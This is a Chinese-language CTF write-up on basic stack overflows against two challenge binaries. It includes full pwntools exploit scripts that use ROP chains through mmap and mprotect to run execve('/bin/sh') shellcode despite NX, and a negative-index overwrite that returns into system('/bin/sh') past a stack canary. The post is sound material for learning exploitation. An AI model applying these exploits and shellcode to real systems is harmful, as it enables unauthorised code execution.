PWN学习总结之基础栈溢出2

继续搞pwn

Dockerfile

1
2
3
$ cd pwn
$ docker build -t ubuntu:stack2 .
$ docker run --name stack2 -it -d -P ubuntu:stack2

0x01 PWN6

描述: 谁说开了nx我就用不了shellcode了.

1
2
3
4
5
6
7
$ gdb pwn6
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

只开了NX, 堆栈不可执行了, 要怎么执行shellcode呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ binwalk pwn6 

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 ELF, 64-bit LSB executable, AMD x86-64, version 1 (GNU/Linux)
613888 0x95E00 Unix path: /proc/sys/vm/overcommit_memory
620706 0x978A2 Unix path: /sysdeps/x86_64/multiarch/../cacheinfo.c
622053 0x97DE5 Unix path: /proc/sys/kernel/rtsig-max
624130 0x98602 Unix path: /sysdeps/unix/sysv/linux/getcwd.c
625541 0x98B85 Unix path: /proc/sys/kernel/osrelease
632992 0x9A8A0 Unix path: /usr/lib/locale/locale-archive
697530 0xAA4BA Unix path: /nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
700624 0xAB0D0 ELF, 64-bit LSB processor-specific, (SYSV)
703834 0xABD5A Unix path: /sysdeps/unix/sysv/linux/dl-origin.c

一个64位程序, 还是用的静态编译

根据套路, 在NX打开的情况下可以通过两个函数执行shellcode

一个是mmap:

1
2
3
4
5
$ man mmap
....
void *mmap(void *addr, size_t length, int prot, int flags,
int fd, off_t offset);
....

还有一个是mprotect:

1
2
3
4
$ man mprotect
....
int mprotect(void *addr, size_t len, int prot);
....

而且正好, 这两个函数都被静态编译到代码中了,

通过mmap函数执行shellcode的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

# context.terminal = ['terminator', '-x', 'bash', '-c']
# context.log_level = 'debug'

p = process('pwn6')
e = ELF('pwn6')

p.readuntil("calculations: ")
p.sendline("255")

def set_add(addr=0):
if addr < 80:
a = 100
b = a - addr
p.readuntil("=> ")
p.sendline("2")
p.readuntil("x: ")
p.sendline(str(a))
p.readuntil("y: ")
p.sendline(str(b))

p.readuntil("=> ")
p.sendline("2")
p.readuntil("x: ")
p.sendline("100")
p.readuntil("y: ")
p.sendline("100")
else:
a = 50
b = addr - a
p.readuntil("=> ")
p.sendline("1")
p.readuntil("x: ")
p.sendline(str(a))
p.readuntil("y: ")
p.sendline(str(b))

p.readuntil("=> ")
p.sendline("2")
p.readuntil("x: ")
p.sendline("100")
p.readuntil("y: ")
p.sendline("100")

# padding
for x in xrange(18):
if x == 13 or x == 12:
# free(0)
a = '100'
b = '100'
p.readuntil("=> ")
p.sendline("2")
p.readuntil("x: ")
p.sendline(a)
p.readuntil("y: ")
p.sendline(b)
continue
a = "1094778880"
b = "16705"
p.readuntil("=> ")
p.sendline("1")
p.readuntil("x: ")
p.sendline(a)
p.readuntil("y: ")
p.sendline(b)

shellcode = 'jhH\xb8/bin///sPj;XH\x89\xe71\xf6\x99\x0f\x05'
shellcode_addr = 0x1921000
# mmap(rdi=shellcode_addr, rsi=len(shellcode), rdx=7, rcx=34, r8=0, r9=0)
mmap_address = e.symbols['mmap']
read_address = e.symbols['read']

set_rdi = 0x401b73
set_rsi = 0x401c87
set_rdx = 0x437a85
set_rcx = 0x4b8f17

# rdi = shellcode_addr
set_add(set_rdi)
set_add(shellcode_addr)
# rsi = len(shellcode)
set_add(set_rsi)
set_add(len(shellcode))
# rdx = 7
set_add(set_rdx)
set_add(7)
# rcx = 34
set_add(set_rcx)
set_add(34)
# call mmap
set_add(mmap_address)

# read(0, shellcode, len(shellcode))
set_add(set_rdi)
set_add(0)

set_add(set_rsi)
set_add(shellcode_addr)

set_add(set_rdx)
set_add(len(shellcode))

set_add(read_address)
set_add(shellcode_addr)

p.readuntil("=> ")
p.sendline('5')
p.sendline(shellcode)

p.interactive()

首先是mmap的几个参数, 主要是prot和flags,

其值的定义在glibc/bits/mman-linux.h文件中:

1
2
3
4
#define PROT_READ        0x1                /* Page can be read.  */
#define PROT_WRITE 0x2 /* Page can be written. */
#define PROT_EXEC 0x4 /* Page can be executed. */
#define PROT_NONE 0x0 /* Page can not be accessed. */

这个prot的4个参数, 根linux的权限设置差不多, 这里我把映射的地址设为rwx, 所以其值为7

然后是flags的定义:

1
2
3
4
5
6
7
8
9
10
11
#define MAP_SHARED        0x01           /* Share changes.  */
#define MAP_PRIVATE 0x02 /* Changes are private. */
#define MAP_FIXED 0x10 /* Interpret addr exactly. */
#ifdef __USE_MISC
# define MAP_FILE 0
# ifdef __MAP_ANONYMOUS
# define MAP_ANONYMOUS __MAP_ANONYMOUS /* Don't use a file. */
# else
# define MAP_ANONYMOUS 0x20 /* Don't use a file. */
# endif
# define MAP_ANON MAP_ANONYMOUS

flags我们需要设置MAP_ANONYMOUSMAP_PRIVATE

然后说说这个程序的溢出部分, 溢出部分其实很好找的

pwn6

memcpy(rdi, rsi, rdx=len(rsi))

rdi的栈长度远小于rsi

然后rsi的值为一个堆地址, 堆上储存了每次计算的结果, 所以可以通过构造计算, 来构造任意地址字符这些

然后还有用mprotect来执行shellcode的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

# context.terminal = ['terminator', '-x', 'bash', '-c']
# context.log_level = 'debug'

p = process('pwn6')
e = ELF('pwn6')

p.readuntil("calculations: ")
p.sendline("255")

def set_add(addr=0):
if addr < 80:
a = 100
b = a - addr
p.readuntil("=> ")
p.sendline("2")
p.readuntil("x: ")
p.sendline(str(a))
p.readuntil("y: ")
p.sendline(str(b))

p.readuntil("=> ")
p.sendline("2")
p.readuntil("x: ")
p.sendline("100")
p.readuntil("y: ")
p.sendline("100")
else:
a = 50
b = addr - a
p.readuntil("=> ")
p.sendline("1")
p.readuntil("x: ")
p.sendline(str(a))
p.readuntil("y: ")
p.sendline(str(b))

p.readuntil("=> ")
p.sendline("2")
p.readuntil("x: ")
p.sendline("100")
p.readuntil("y: ")
p.sendline("100")

# padding
for x in xrange(18):
if x == 13 or x == 12:
# free(0)
a = '100'
b = '100'
p.readuntil("=> ")
p.sendline("2")
p.readuntil("x: ")
p.sendline(a)
p.readuntil("y: ")
p.sendline(b)
continue
a = "1094778880"
b = "16705"
p.readuntil("=> ")
p.sendline("1")
p.readuntil("x: ")
p.sendline(a)
p.readuntil("y: ")
p.sendline(b)

shellcode = 'jhH\xb8/bin///sPj;XH\x89\xe71\xf6\x99\x0f\x05'
shellcode_addr = 0x6c3000
read_address = e.symbols['read']
mprotect_address = e.symbols['mprotect']

set_rdi = 0x401b73
set_rsi = 0x401c87
set_rdx = 0x437a85

# rdi = shellcode_addr
set_add(set_rdi)
set_add(shellcode_addr)
# rsi = len(shellcode)
set_add(set_rsi)
set_add(len(shellcode))
# rdx = 7
set_add(set_rdx)
set_add(7)
# set_add(mmap_address)
set_add(mprotect_address)

# read(0, shellcode, len(shellcode))
set_add(set_rdi)
set_add(0)

set_add(set_rsi)
set_add(shellcode_addr)

set_add(set_rdx)
set_add(len(shellcode))

set_add(read_address)
set_add(shellcode_addr)

p.readuntil("=> ")
p.sendline('5')
p.sendline(shellcode)

p.interactive()

mprotect只有三个参数, 其作用是改变起始地址add, 长度len, 的权限为prot

我找了个.bss段, 设为有可读写执行权限

pwn6_2

0x02 PWN7

1
2
3
4
5
6
7
8
9
10
11
12
$ binwalk pwn7

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------

0 0x0 ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
$ gdb pwn7
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled

pwn7是个32位程序, 然后发现pwn7开了CANARY, 栈溢出保护

CANARY保护是通过添加一个栈cookie然后在ret之前使用__stack_chk_fail去检查cookie的正确性

通过逆向, 发现只有一个位置有该函数

1
8048725:	e8 e6 fc ff ff       	call   8048410 <__stack_chk_fail@plt>

关键函数里没有该函数, 所以该保护形同虚设

漏洞点在:
pwn7

jle为有符号比较, 我们可以通过使用负数绕过该判断, 从而覆盖栈

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

# context.terminal = ['terminator', '-x', 'bash', '-c']
# context.log_level = 'debug'

p = process("pwn7")
e = ELF("pwn7")


start_add = 0xffffffff - 0xc000000d
system_add = e.symbols['system']
scanf_add = e.symbols['__isoc99_scanf']
ret_addr = 0x80487ba

p.readuntil("you? \n")
p.sendline("haha")

p.readuntil("index\n")
p.sendline("-%s"%(start_add + 1))

p.readuntil("value\n")
p.sendline("%s"%scanf_add)

p.readuntil("index\n")
p.sendline("-%s"%(start_add))

p.readuntil("value\n")
p.sendline("%s"%ret_addr)

p.readuntil("index\n")
p.sendline("-%s"%(start_add -1))

p.readuntil("value\n")
p.sendline("%s"%0x804882f)

p.readuntil("index\n")
p.sendline("-%s"%(start_add - 2))

p.readuntil("value\n")
p.sendline("%s"%0x8049b24)

p.readuntil("index\n")
p.sendline("-%s"%(start_add - 3))

p.readuntil("value\n")
p.sendline("%s"%system_add)

p.readuntil("index\n")
p.sendline("-%s"%(start_add - 4))

p.readuntil("value\n")
p.sendline("%s"%system_add)

p.readuntil("index\n")
p.sendline("-%s"%(start_add - 5))

p.readuntil("value\n")
p.sendline("%s"%0x8049b24)

p.readuntil("index\n")
p.sendline("-1")

p.readuntil("value\n")
p.sendline("9")

p.sendline("/bin/sh")
p.interactive()

整个逻辑比上题简单吧, 首先要能溢出, binary中已经存在system函数了, 然后是写/bin/sh字符串到.bss段

文章目录
  1. 1. 0x01 PWN6
  2. 2. 0x02 PWN7